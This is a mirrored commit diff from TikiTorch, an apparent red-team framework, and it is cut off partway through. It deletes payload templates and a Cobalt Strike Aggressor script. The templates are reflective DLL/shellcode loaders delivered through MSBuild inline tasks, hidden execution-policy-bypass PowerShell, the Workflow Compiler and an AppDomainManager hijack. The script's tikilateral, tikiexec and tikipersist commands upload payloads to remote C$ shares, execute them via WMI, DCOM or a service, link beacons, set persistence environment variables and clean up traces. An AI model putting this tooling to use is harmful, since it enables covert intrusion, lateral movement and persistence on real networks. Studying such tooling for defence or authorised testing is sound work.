mirror of
https://github.com/rasta-mouse/TikiTorch
synced 2026-06-21 14:06:58 +00:00
Module Stomping
This commit is contained in:
Rasta Mouse
+63
-9
@@ -13,6 +13,9 @@
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
@@ -20,10 +23,14 @@
|
||||
[Rr]eleases/
|
||||
x64/
|
||||
x86/
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
bld/
|
||||
[Bb]in/
|
||||
[Oo]bj/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
@@ -37,9 +44,10 @@ Generated\ Files/
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
|
||||
# NUNIT
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
@@ -54,6 +62,9 @@ project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
@@ -79,6 +90,7 @@ StyleCopReport.xml
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
@@ -120,9 +132,6 @@ _ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# JustCode is a .NET coding add-in
|
||||
.JustCode
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
@@ -133,6 +142,11 @@ _TeamCity*
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
@@ -180,6 +194,8 @@ PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
@@ -190,6 +206,9 @@ PublishScripts/
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Nuget personal access tokens and Credentials
|
||||
# nuget.config
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
@@ -204,12 +223,14 @@ BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!*.[Cc]ache/
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
@@ -253,6 +274,9 @@ ServiceFabricBackup/
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
@@ -288,10 +312,6 @@ paket-files/
|
||||
# FAKE - F# Make
|
||||
.fake/
|
||||
|
||||
# JetBrains Rider
|
||||
.idea/
|
||||
*.sln.iml
|
||||
|
||||
# CodeRush personal settings
|
||||
.cr/personal
|
||||
|
||||
@@ -332,3 +352,37 @@ ASALocalRun/
|
||||
|
||||
# Local History for Visual Studio
|
||||
.localhistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
*.code-workspace
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
|
||||
# JetBrains Rider
|
||||
.idea/
|
||||
*.sln.iml
|
||||
|
||||
@@ -1,28 +0,0 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Workflow.Activities;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class Program : SequentialWorkflowActivity {
|
||||
|
||||
const string binary = @"";
|
||||
const string shellcode = "";
|
||||
const string dll = "";
|
||||
|
||||
public Program() {
|
||||
TikiSpawn(binary, Convert.FromBase64String(dll), shellcode);
|
||||
}
|
||||
|
||||
private static void TikiSpawn(string binary, byte[] dll, string shellcode) {
|
||||
var asm = Assembly.Load(dll);
|
||||
var type = asm.GetType("TikiSpawn");
|
||||
var instance = Activator.CreateInstance(type);
|
||||
|
||||
type.InvokeMember("Flame",
|
||||
BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public,
|
||||
null,
|
||||
instance,
|
||||
new object[] { binary, shellcode });
|
||||
}
|
||||
|
||||
}
|
||||
@@ -1,32 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
|
||||
<files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
|
||||
<d2p1:string>c:\windows\temp\tikicompiler</d2p1:string>
|
||||
</files>
|
||||
<parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
|
||||
<assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
|
||||
<compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
|
||||
<coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
|
||||
<embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
|
||||
<evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
|
||||
<generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
|
||||
<generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
|
||||
<includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
|
||||
<linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
|
||||
<mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
|
||||
<outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
|
||||
<tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
|
||||
<treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
|
||||
<warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
|
||||
<win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
|
||||
<d2p1:checkTypes>false</d2p1:checkTypes>
|
||||
<d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
|
||||
<d2p1:compilerOptions i:nil="true" />
|
||||
<d2p1:generateCCU>false</d2p1:generateCCU>
|
||||
<d2p1:languageToUse>CSharp</d2p1:languageToUse>
|
||||
<d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
|
||||
<d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
|
||||
<d2p1:mtInfo i:nil="true" />
|
||||
<d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
|
||||
</parameters>
|
||||
</CompilerInput>
|
||||
@@ -1,27 +0,0 @@
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
[ComVisible(true)]
|
||||
[Guid("0ba9a3e0-3ecf-487f-9aae-c28e5af6dce8")]
|
||||
[ClassInterface(ClassInterfaceType.None)]
|
||||
public sealed class TikiTorchDomainManager : AppDomainManager
|
||||
{
|
||||
public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
|
||||
{
|
||||
Program.Run();
|
||||
return;
|
||||
}
|
||||
}
|
||||
public class Program
|
||||
{
|
||||
static string dll = "";
|
||||
static string binary = @"";
|
||||
static string shellcode = "";
|
||||
public static void Run()
|
||||
{
|
||||
var asm = Assembly.Load(Convert.FromBase64String(dll));
|
||||
var type = asm.GetType("TikiSpawn");
|
||||
var instance = Activator.CreateInstance(type);
|
||||
type.InvokeMember("Flame", BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public, null, instance, new object[] { binary, shellcode });
|
||||
}
|
||||
}
|
||||
@@ -1,6 +0,0 @@
|
||||
$binary = ""
|
||||
$dll = ""
|
||||
$shellcode = ""
|
||||
|
||||
[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($dll))
|
||||
[TikiSpawn]::Flame($binary, $shellcode)
|
||||
@@ -1,47 +0,0 @@
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Target Name="TikiTorch">
|
||||
<TikiSpawn />
|
||||
</Target>
|
||||
<UsingTask
|
||||
TaskName="TikiSpawn"
|
||||
TaskFactory="CodeTaskFactory"
|
||||
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||
<Task>
|
||||
|
||||
<Code Type="Class" Language="cs">
|
||||
<![CDATA[
|
||||
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using Microsoft.Build.Framework;
|
||||
using Microsoft.Build.Utilities;
|
||||
|
||||
public class TikiSpawn : Task, ITask
|
||||
{
|
||||
public const string binary = @"";
|
||||
public const string shellcode = "";
|
||||
public const string dll = "";
|
||||
|
||||
public override bool Execute()
|
||||
{
|
||||
Assembly TikiSpawn = Assembly.Load(Convert.FromBase64String(dll));
|
||||
|
||||
Type type = TikiSpawn.GetType("TikiSpawn");
|
||||
object instance = Activator.CreateInstance(type);
|
||||
|
||||
type.InvokeMember("Flame",
|
||||
BindingFlags.InvokeMethod | BindingFlags.Static | BindingFlags.Public,
|
||||
null,
|
||||
instance,
|
||||
new object[] { binary, shellcode });
|
||||
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
]]>
|
||||
</Code>
|
||||
</Task>
|
||||
</UsingTask>
|
||||
</Project>
|
||||
Binary file not shown.
Binary file not shown.
@@ -1,587 +0,0 @@
|
||||
global('$WMI::AssemblyPath');
|
||||
global('$CsExec::AssemblyPath');
|
||||
global('$CsDCOM::AssemblyPath');
|
||||
global('$CsEnv::AssemblyPath');
|
||||
global('$TikiSpawnWOppid::DllPath');
|
||||
global('$TikiSpawnWppid::DllPath');
|
||||
global('$TikiSpawn::XmlPath');
|
||||
global('$TikiService::AssemblyPath');
|
||||
global('$TikiService::ConfigPath');
|
||||
global('$TikiCompiler::XmlPath');
|
||||
global('$TikiCompiler::CSPath');
|
||||
global('$TikiManifest::CSPath');
|
||||
|
||||
$CsWMI::AssemblyPath = "D:\\Tools\\MiscTools\\CsWMI\\bin\\Release\\CsWMI.exe";
|
||||
$CsExec::AssemblyPath = "D:\\Tools\\MiscTools\\CsExec\\bin\\Release\\CsExec.exe";
|
||||
$CsDCOM::AssemblyPath = "D:\\Tools\\MiscTools\\CsDCOM\\bin\\Release\\CsDCOM.exe";
|
||||
$CsEnv::AssemblyPath = "D:\\Tools\\MiscTools\\CsEnv\\bin\\Release\\CsEnv.exe";
|
||||
$TikiSpawnWppid::DllPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawnWppid.dll";
|
||||
$TikiSpawnWOppid::DllPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawnWOppid.dll";
|
||||
$TikiSpawn::XmlPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawn.xml";
|
||||
$TikiSpawn::PshPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiSpawn.ps1";
|
||||
$TikiService::AssemblyPath = "D:\\Tools\\TikiTorch\\TikiService\\bin\\Release\\TikiService.exe";
|
||||
$TikiService::ConfigPath = "D:\\Tools\\TikiTorch\\TikiService\\bin\\Release\\TikiService.exe.config";
|
||||
$TikiCompiler::XmlPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiCompiler.txt";
|
||||
$TikiCompiler::CSPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiCompiler";
|
||||
$TikiManifest::CSPath = "D:\\Tools\\TikiTorch\\Aggressor\\Templates\\TikiManifest.cs";
|
||||
|
||||
if(!-exists $CsWMI::AssemblyPath) {
|
||||
show_error("WMI assembly not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $CsExec::AssemblyPath) {
|
||||
show_error("CsExec assembly not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $CsEnv::AssemblyPath) {
|
||||
show_error("CsEnv assembly not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $TikiSpawnWOppid::DllPath) {
|
||||
show_error("TikiSpawn DLL not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $TikiSpawn::XmlPath) {
|
||||
show_error("XML template not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $TikiSpawn::PshPath) {
|
||||
show_error("PowerShell template not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $TikiService::AssemblyPath) {
|
||||
show_error("TikiService assembly not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $TikiService::ConfigPath) {
|
||||
show_error("TikiService config not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $TikiCompiler::XmlPath) {
|
||||
show_error("TikiCompiler XML template not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
if(!-exists $TikiCompiler::CSPath) {
|
||||
show_error("TikiCompiler C# template not found!");
|
||||
exit();
|
||||
}
|
||||
|
||||
alias tikilateral {
|
||||
|
||||
$bid = $1;
|
||||
|
||||
$input = substr($0, 12);
|
||||
@args = split(' ', $input);
|
||||
|
||||
#########################
|
||||
## Check args[] length ##
|
||||
#########################
|
||||
|
||||
if (size(@args) eq "6") {
|
||||
|
||||
$target = @args[0];
|
||||
$listener = @args[1];
|
||||
$arch = @args[2];
|
||||
$binary = @args[3];
|
||||
$payload = @args[4];
|
||||
$method = @args[5];
|
||||
}
|
||||
|
||||
################
|
||||
## Get Method ##
|
||||
################
|
||||
|
||||
@method = split(':', $method);
|
||||
$m0 = @method[0];
|
||||
$m1 = @method[1];
|
||||
|
||||
############
|
||||
## Errors ##
|
||||
############
|
||||
|
||||
if (size(@args) ne "6") {
|
||||
berror($bid, "Invalid number of arguments");
|
||||
return;
|
||||
}
|
||||
|
||||
if (listener_info($listener, "payload") eq "") {
|
||||
berror($bid, "Invalid listener");
|
||||
return;
|
||||
}
|
||||
|
||||
if (($arch ne "x64") && ($arch ne "x86")) {
|
||||
berror($bid, "Invalid architecture");
|
||||
return;
|
||||
}
|
||||
|
||||
if (($m0 ne "wmi") && ($m0 ne "dcom")) {
|
||||
berror($bid, "Invalid method");
|
||||
return;
|
||||
}
|
||||
|
||||
btask($bid, "Tasked Beacon to run " . listener_describe($listener) . " on " . $target . " using " . $payload . " with " . $method);
|
||||
|
||||
###############
|
||||
## Shellcode ##
|
||||
###############
|
||||
|
||||
artifact_stageless($listener, "raw", $arch, $null, $this);
|
||||
yield;
|
||||
$shellcode = base64_encode($1);
|
||||
|
||||
##################
|
||||
## Prep Payload ##
|
||||
##################
|
||||
|
||||
if ($payload eq "msbuild") { $final = msbuild_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiSpawn::XmlPath); }
|
||||
else if ($payload eq "powershell") { $final = powershell_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiSpawn::PshPath); }
|
||||
else if ($payload eq "workflowcompiler") { $final = compilerworkflow_data_swap($binary, $shellcode, $TikiSpawnWOppid::DllPath, $TikiCompiler::CSPath); }
|
||||
|
||||
####################
|
||||
## Upload and Run ##
|
||||
####################
|
||||
|
||||
if ($payload eq "msbuild") {
|
||||
|
||||
bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.xml", $final);
|
||||
|
||||
if ($arch eq "x64") { $buildPath = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\msbuild.exe"; }
|
||||
else if ($arch eq "x86") { $buildPath = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\msbuild.exe"; }
|
||||
|
||||
if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $buildPath $+ c:\\windows\\temp\\tikispawn.xml\" $+ $m1 $+ "); }
|
||||
else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $buildPath $+ c:\\windows\\temp\\tikispawn.xml $+ $m1 $+ "); }
|
||||
|
||||
} else if ($payload eq "powershell") {
|
||||
|
||||
bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.ps1", $final);
|
||||
|
||||
$pshPath = "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe";
|
||||
|
||||
if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $pshPath $+ -nop -w hidden -ep bypass -file c:\\windows\\temp\\tikispawn.ps1\" $+ $m1 $+ "); }
|
||||
else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $pshPath $+ \"-nop -w hidden -ep bypass -file c:\\windows\\temp\\tikispawn.ps1\" $+ $m1 $+ "); }
|
||||
|
||||
} else if ($payload eq "workflowcompiler" ) {
|
||||
|
||||
$handle = openf($TikiCompiler::XmlPath);
|
||||
$xml = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler", $final);
|
||||
bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler.txt", $xml);
|
||||
|
||||
if ($arch eq "x64") { $path = "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\microsoft.workflow.compiler.exe"; }
|
||||
else if ($arch eq "x86") { $path = "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\microsoft.workflow.compiler.exe"; }
|
||||
|
||||
if ($m0 eq "wmi") { bexecute_assembly!($bid, $CsWMI::AssemblyPath, " $+ $target $+ \" $+ $path $+ c:\\windows\\temp\\tikicompiler.txt c:\\windows\\temp\\output.txt\" $+ $m1 $+ "); }
|
||||
else if ($m0 eq "dcom") { bexecute_assembly!($bid, $CsDCOM::AssemblyPath, " $+ $target $+ $+ $path $+ \"c:\\windows\\temp\\tikicompiler.txt c:\\windows\\temp\\output.txt\" $+ $m1 $+ "); }
|
||||
|
||||
}
|
||||
|
||||
################
|
||||
# Wait & link ##
|
||||
################
|
||||
|
||||
if ($payload eq "workflowcompiler") {
|
||||
bpause!($bid, 10000);
|
||||
} else {
|
||||
bpause!($bid, 3000);
|
||||
}
|
||||
|
||||
blink!($bid, $target);
|
||||
|
||||
#################
|
||||
## Remove File ##
|
||||
#################
|
||||
|
||||
if ($payload eq "msbuild") {
|
||||
brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.xml");
|
||||
} else if ($payload eq "powershell") {
|
||||
brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikispawn.ps1");
|
||||
} else if ($payload eq "workflowcompiler") {
|
||||
brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler.txt");
|
||||
brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikicompiler");
|
||||
brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\output.txt");
|
||||
}
|
||||
}
|
||||
|
||||
alias tikiexec {
|
||||
|
||||
$bid = $1;
|
||||
|
||||
$input = substr($0, 9);
|
||||
@args = split(' ', $input);
|
||||
|
||||
#########################
|
||||
## Check args[] length ##
|
||||
#########################
|
||||
|
||||
if (size(@args) eq "4") {
|
||||
|
||||
$target = @args[0];
|
||||
$listener = @args[1];
|
||||
$arch = @args[2];
|
||||
$binary = @args[3];
|
||||
|
||||
}
|
||||
|
||||
############
|
||||
## Errors ##
|
||||
############
|
||||
|
||||
if (listener_info($listener, "payload") eq "") {
|
||||
berror($bid, "Invalid listener");
|
||||
return;
|
||||
}
|
||||
|
||||
if (($arch ne "x64") && ($arch ne "x86")) {
|
||||
berror($bid, "Invalid architecture");
|
||||
return;
|
||||
}
|
||||
|
||||
btask($bid, "Tasked Beacon to run " . listener_describe($listener) . " on " . $target . " using TikiExec");
|
||||
|
||||
###############
|
||||
## Shellcode ##
|
||||
###############
|
||||
|
||||
artifact_stageless($listener, "raw", $arch, $null, $this);
|
||||
yield;
|
||||
$shellcode = base64_encode($1);
|
||||
|
||||
################
|
||||
## Prep Files ##
|
||||
################
|
||||
|
||||
$handle = openf($TikiService::AssemblyPath);
|
||||
$exe = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
$config = tikiexec_data_swap($binary, $shellcode, $TikiService::ConfigPath);
|
||||
|
||||
####################
|
||||
## Upload and Run ##
|
||||
####################
|
||||
|
||||
bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe", $exe);
|
||||
bupload_raw!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe.config", $config);
|
||||
|
||||
bexecute_assembly!($bid, $CsExec::AssemblyPath, " $+ $target $+ TikiSvc \"Tiki Service\" c:\\windows\\temp\\tikiservice.exe");
|
||||
|
||||
bpause!($bid, 1000);
|
||||
blink!($bid, $target);
|
||||
|
||||
##################
|
||||
## Remove Files ##
|
||||
##################
|
||||
|
||||
brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe");
|
||||
brm!($bid, "\\\\ $+ $target $+ \\c$\\windows\\temp\\tikiservice.exe.config");
|
||||
}
|
||||
|
||||
alias tikipersist {
|
||||
|
||||
$bid = $1;
|
||||
|
||||
$input = substr($0, 12);
|
||||
@args = split(' ', $input);
|
||||
|
||||
#########################
|
||||
## Check args[] length ##
|
||||
#########################
|
||||
|
||||
if (size(@args) eq "4") {
|
||||
|
||||
$listener = @args[0];
|
||||
$arch = @args[1];
|
||||
$binary = @args[2];
|
||||
$method = @args[3];
|
||||
}
|
||||
|
||||
############
|
||||
## Errors ##
|
||||
############
|
||||
|
||||
if (size(@args) ne "4") {
|
||||
berror($bid, "Invalid number of arguments");
|
||||
return;
|
||||
}
|
||||
|
||||
if (listener_info($listener, "payload") eq "") {
|
||||
berror($bid, "Invalid listener");
|
||||
return;
|
||||
}
|
||||
|
||||
if (($arch ne "x64") && ($arch ne "x86")) {
|
||||
berror($bid, "Invalid architecture");
|
||||
return;
|
||||
}
|
||||
|
||||
if (($method ne "manifest")) {
|
||||
berror($bid, "Invalid method");
|
||||
return;
|
||||
}
|
||||
|
||||
btask($bid, "Tasked Beacon to persist with " . listener_describe($listener) . " and " . $method);
|
||||
|
||||
###############
|
||||
## Shellcode ##
|
||||
###############
|
||||
|
||||
artifact_stageless($listener, "raw", $arch, $null, $this);
|
||||
yield;
|
||||
$shellcode = base64_encode($1);
|
||||
|
||||
##################
|
||||
## Prep Payload ##
|
||||
##################
|
||||
|
||||
if ($method eq "manifest") {
|
||||
$final = manifest_data_swap($binary, $shellcode, $TikiSpawnWppid::DllPath, $TikiManifest::CSPath);
|
||||
|
||||
$handle = openf(">C:\\Windows\\Temp\\TikiManifest.cs");
|
||||
writeb($handle, $final);
|
||||
closef($handle);
|
||||
}
|
||||
|
||||
$buildPath = "";
|
||||
|
||||
if ($arch eq "x64") { $buildPath = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe"; }
|
||||
else { $buildPath = "C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\csc.exe"; }
|
||||
|
||||
$buildCmd = $buildPath . " /target:library /unsafe /out:C:\\Windows\\Temp\\tasks.dll C:\\Windows\\Temp\\TikiManifest.cs";
|
||||
|
||||
$process = exec("cmd.exe /c \"$buildCmd\"");
|
||||
@data = readAll($process);
|
||||
printAll(@data);
|
||||
closef($process);
|
||||
|
||||
####################
|
||||
## Upload and Run ##
|
||||
####################
|
||||
|
||||
if ($method eq "manifest") {
|
||||
|
||||
$handle = openf("C:\\Windows\\Temp\\tasks.dll");
|
||||
$dll = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
bupload_raw!($bid, "c:\\windows\\system32\\tasks\\tasks.dll", $dll);
|
||||
|
||||
bexecute_assembly!($bid, $CsEnv::AssemblyPath, "APPDOMAIN_MANAGER_ASM \"tasks, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null\" user");
|
||||
bexecute_assembly!($bid, $CsEnv::AssemblyPath, "APPDOMAIN_MANAGER_TYPE TikiTorchDomainManager user");
|
||||
bexecute_assembly!($bid, $CsEnv::AssemblyPath, "COMPLUS_Version v4.0.30319 user");
|
||||
}
|
||||
|
||||
#############
|
||||
## Cleanup ##
|
||||
#############
|
||||
|
||||
$process = exec("cmd.exe /c \"del C:\\Windows\\Temp\\TikiManifest.cs && del C:\\Windows\\Temp\\tasks.dll\"");
|
||||
@data = readAll($process);
|
||||
printAll(@data);
|
||||
closef($process);
|
||||
|
||||
}
|
||||
|
||||
sub msbuild_data_swap {
|
||||
|
||||
$binary = $1;
|
||||
$shellcode = $2;
|
||||
$dllPath = $3;
|
||||
$template = $4;
|
||||
|
||||
$handle = openf($dllPath);
|
||||
$dll = base64_encode(readb($handle, -1));
|
||||
|
||||
if (-canread $template) {
|
||||
|
||||
$handle = openf($template);
|
||||
@data = readAll($handle);
|
||||
closef($handle);
|
||||
remove(@data, @data[21]);
|
||||
add(@data, " public const string binary = @\" $+ $binary $+ \"\;", 21);
|
||||
remove(@data, @data[22]);
|
||||
add(@data, " public const string shellcode = @\" $+ $shellcode $+ \"\;", 22);
|
||||
remove(@data, @data[23]);
|
||||
add(@data, " public const string dll = @\" $+ $dll $+ \"\;", 23);
|
||||
|
||||
$data = "";
|
||||
|
||||
for ($i = 0; $i < size(@data); $i++) {
|
||||
$data = $data . @data[$i] . "\r\n";
|
||||
}
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
sub powershell_data_swap {
|
||||
|
||||
$binary = $1;
|
||||
$shellcode = $2;
|
||||
$dllPath = $3;
|
||||
$template = $4;
|
||||
|
||||
$handle = openf($dllPath);
|
||||
$dll = base64_encode(readb($handle, -1));
|
||||
|
||||
if (-canread $template) {
|
||||
|
||||
$handle = openf($template);
|
||||
@data = readAll($handle);
|
||||
closef($handle);
|
||||
remove(@data, @data[0]);
|
||||
add(@data, "\$binary = \"$binary\"", 0);
|
||||
remove(@data, @data[1]);
|
||||
add(@data, "\$dll = \"$dll\"", 1);
|
||||
remove(@data, @data[2]);
|
||||
add(@data, "\$shellcode = \"$shellcode\"", 2);
|
||||
|
||||
$data = "";
|
||||
|
||||
for ($i = 0; $i < size(@data); $i++) {
|
||||
$data = $data . @data[$i] . "\r\n";
|
||||
}
|
||||
}
|
||||
|
||||
return $data;
|
||||
}
|
||||
|
||||
sub compilerworkflow_data_swap {
|
||||
|
||||
$binary = $1;
|
||||
$shellcode = $2;
|
||||
$dllPath = $3;
|
||||
$template = $4;
|
||||
|
||||
$handle = openf($dllPath);
|
||||
$dll = base64_encode(readb($handle, -1));
|
||||
|
||||
if (-canread $template) {
|
||||
|
||||
$handle = openf($template);
|
||||
@data = readAll($handle);
|
||||
closef($handle);
|
||||
remove(@data, @data[7]);
|
||||
add(@data, " const string binary = \@\"$binary\"\;", 7);
|
||||
remove(@data, @data[8]);
|
||||
add(@data, " const string shellcode = \"$shellcode\"\;", 8);
|
||||
